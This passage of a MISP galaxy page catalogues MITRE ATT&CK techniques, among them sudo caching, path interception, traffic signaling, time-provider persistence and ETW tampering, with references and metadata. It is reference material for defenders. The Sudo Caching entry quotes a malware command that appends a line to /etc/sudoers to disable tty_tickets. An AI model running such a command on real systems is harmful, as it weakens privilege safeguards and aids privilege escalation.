- https://en.wikipedia.org/wiki/BIOS - webarchive
- https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface - webarchive
- https://github.com/chipsec/chipsec - webarchive
- https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1019 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Data Encrypted - T1022
Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol
Internal MISP references
UUID d54416bd-0803-41ca-870a-ce1af7c05638 which can be used as unique global reference for Data Encrypted - T1022 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1022 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Data Hiding - T1320
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)
Internal MISP references
UUID 1ff8b824-5287-4583-ab6a-013bf36d4864 which can be used as unique global reference for Data Hiding - T1320 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1320 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Shortcut Modification - T1023
Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
Internal MISP references
UUID 970cdb5c-02fb-4c38-b17e-d6327cf3c810 which can be used as unique global reference for Shortcut Modification - T1023 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1023 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Broadcast Receivers - T1402
An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.
Further, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.
In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)
Internal MISP references
UUID bd4d32f5-eed4-4018-a649-40b229dd1d69 which can be used as unique global reference for Broadcast Receivers - T1402 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1402 |
| kill_chain | ['mobile-attack-Android:persistence', 'mobile-attack-Android:execution'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
User Execution - T1204
An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing.
While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
Adversaries may also deceive users into performing actions such as enabling Remote Access Software, allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies; or downloading and executing malware for User Execution.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Software.(Citation: Telephone Attack Delivery)
Internal MISP references
UUID 8c32eb4d-805f-4fc5-bf60-c4d476c131b5 which can be used as unique global reference for User Execution - T1204 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1204 - webarchive
- https://blog.talosintelligence.com/roblox-scam-overview/ - webarchive
- https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/ - webarchive
- https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1204 |
| kill_chain | ['attack-Linux:execution', 'attack-Windows:execution', 'attack-macOS:execution', 'attack-IaaS:execution', 'attack-Containers:execution'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Container: Container Creation', 'Container: Container Start', 'File: File Creation', 'Image: Image Creation', 'Instance: Instance Creation', 'Instance: Instance Start', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS', 'IaaS', 'Containers'] |
Task requirements - T1240
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)
Internal MISP references
UUID b93bd611-da4e-4c84-a40f-325b712bed67 which can be used as unique global reference for Task requirements - T1240 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1240 |
| kill_chain | ['pre-attack:priority-definition-direction'] |
Traffic Signaling - T1205
Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.
Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.
Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)
Internal MISP references
UUID 451a9977-d255-43c9-b431-66de80130c8c which can be used as unique global reference for Traffic Signaling - T1205 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1205 - webarchive
- https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices - webarchive
- https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - webarchive
- https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN - webarchive
- https://www.amd.com/system/files/TechDocs/20213.pdf - webarchive
- https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ - webarchive
- https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 - webarchive
- https://www.mandiant.com/resources/synful-knock-acis - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1205 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Network:persistence', 'attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Multiband Communication - T1026
This technique has been deprecated and should no longer be used.
Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
Internal MISP references
UUID 99709758-2b96-48f2-a68a-ad7fbd828091 which can be used as unique global reference for Multiband Communication - T1026 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1026 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Sudo Caching - T1206
The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user.
The OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
Internal MISP references
UUID 2169ba87-1146-4fc7-a118-12b72251db7e which can be used as unique global reference for Sudo Caching - T1206 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1206 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Time Providers - T1209
The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
Internal MISP references
UUID dce31a00-1e90-4655-b0f9-e2e71a748a87 which can be used as unique global reference for Time Providers - T1209 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1209 - webarchive
- https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings - webarchive
- https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top - webarchive
- https://github.com/scottlundgren/w32time - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1209 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Scheduled Transfer - T1029
Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.
When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.
Internal MISP references
UUID 4eeaf8a9-c86b-4954-a663-9555fb406466 which can be used as unique global reference for Scheduled Transfer - T1029 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1029 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Shadow DNS - T1340
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)
Internal MISP references
UUID 3f157dee-74f0-41fc-801e-f837b8985b0a which can be used as unique global reference for Shadow DNS - T1340 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1340 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Path Interception - T1034
This technique has been deprecated. Please use Path Interception by PATH Environment Variable, Path Interception by Search Order Hijacking, and/or Path Interception by Unquoted Path.
Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)
There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
Unquoted Paths
Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)
PATH Environment Variable Misconfiguration
The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system "net" when "net" is executed from the command-line.
Search Order Hijacking
Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.
For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)
Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.
Internal MISP references
UUID c4ad009b-6e13-4419-8d21-918a1652de02 which can be used as unique global reference for Path Interception - T1034 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/ms682425 - webarchive
- http://msdn.microsoft.com/en-us/library/ms687393 - webarchive
- http://support.microsoft.com/KB/103000 - webarchive
- http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120 - webarchive
- https://attack.mitre.org/techniques/T1034 - webarchive
- https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/ - webarchive
- https://capec.mitre.org/data/definitions/159.html - webarchive
- https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464 - webarchive
- https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx - webarchive
- https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/ - webarchive
- https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1034 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Location Tracking - T1430
Adversaries may track a device’s physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device.
On Android, applications holding the ACCESS_COAURSE_LOCATION or ACCESS_FINE_LOCATION permissions provide access to the device’s physical location. On Android 10 and up, declaration of the ACCESS_BACKGROUND_LOCATION permission in an application’s manifest will allow applications to request location access even when the application is running in the background.(Citation: Android Request Location Permissions) Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained.(Citation: PaloAlto-SpyDealer)(Citation: Palo Alto HenBox)
On iOS, applications must include the NSLocationWhenInUseUsageDescription, NSLocationAlwaysAndWhenInUseUsageDescription, and/or NSLocationAlwaysUsageDescription keys in their Info.plist file depending on the extent of requested access to location information.(Citation: Apple Requesting Authorization for Location Services) On iOS 8.0 and up, applications call requestWhenInUseAuthorization() to request access to location information when the application is in use or requestAlwaysAuthorization() to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the com.apple.locationd.preauthorized entitlement key.(Citation: Google Project Zero Insomnia)
Internal MISP references
UUID 99e6295e-741b-4857-b6e5-64989eb039b4 which can be used as unique global reference for Location Tracking - T1430 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1430 - webarchive
- https://developer.android.com/training/location/permissions - webarchive
- https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services - webarchive
- https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html - webarchive
- https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/ - webarchive
- https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1430 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Service Execution - T1035
Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
Internal MISP references
UUID f44731de-ea9f-406d-9b83-30ecbb9b4392 which can be used as unique global reference for Service Execution - T1035 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1035 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Anonymity services - T1306
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)
Internal MISP references
UUID d3dca536-8bf0-4e43-97c1-44a2353c3d69 which can be used as unique global reference for Anonymity services - T1306 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1306 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Process Hollowing - T1093
Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)
Internal MISP references
UUID 1c338d0f-a65e-4073-a5c1-c06878849f21 which can be used as unique global reference for Process Hollowing - T1093 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1093 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Obfuscate infrastructure - T1309
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)
Internal MISP references
UUID e6ca2820-a564-4b74-b42a-b6bdf052e5b6 which can be used as unique global reference for Obfuscate infrastructure - T1309 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1309 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Related clusters
To see the related clusters, click here.
Indicator Blocking - T1054
An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.
ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.
In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.
Internal MISP references
UUID 6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df which can be used as unique global reference for Indicator Blocking - T1054 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1054 - webarchive
- https://capec.mitre.org/data/definitions/571.html - webarchive
- https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events - webarchive
- https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 - webarchive
- https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1054 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Code Injection - T1540
Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.
With root access, ptrace can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application’s process.(Citation: Google Triada June 2019)
Internal MISP references
UUID 039bc59c-ecc7-4997-b2b4-4ab728bd91aa which can be used as unique global reference for Code Injection - T1540 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1540 |
| kill_chain | ['mobile-attack-Android:persistence', 'mobile-attack-iOS:persistence', 'mobile-attack-Android:privilege-escalation', 'mobile-attack-iOS:privilege-escalation', 'mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
PowerShell Profile - T1504
Adversaries may gain persistence and elevate privileges in certain situations by abusing PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)
Internal MISP references
UUID 723e3a2b-ca0d-4daa-ada8-82ea35d3733a which can be used as unique global reference for PowerShell Profile - T1504 in MISP communities and other software using the MISP galaxy
External references
- http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - webarchive
- https://attack.mitre.org/techniques/T1504 - webarchive
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6 - webarchive
- https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html - webarchive
- https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1504 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Software Packing - T1045
Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
Internal MISP references
UUID 6ff403bc-93e3-48be-8687-e102fdba8c88 which can be used as unique global reference for Software Packing - T1045 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1045 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_platforms | ['Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Biometric Spoofing - T1460
An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).
iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).
Platforms: Android, iOS
Internal MISP references
UUID 45dcbc83-4abc-4de1-b643-e528d1e9df09 which can be used as unique global reference for Biometric Spoofing - T1460 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1460 |
Related clusters
To see the related clusters, click here.
Data Staged - T1074
Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)
In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.(Citation: Mandiant M-Trends 2020)
Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.
Internal MISP references
UUID 7dd95ff6-712e-4056-9626-312ea4ab4c5e which can be used as unique global reference for Data Staged - T1074 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1074 |
| kill_chain | ['attack-Windows:collection', 'attack-IaaS:collection', 'attack-Linux:collection', 'attack-macOS:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS'] |
Execution Guardrails - T1480
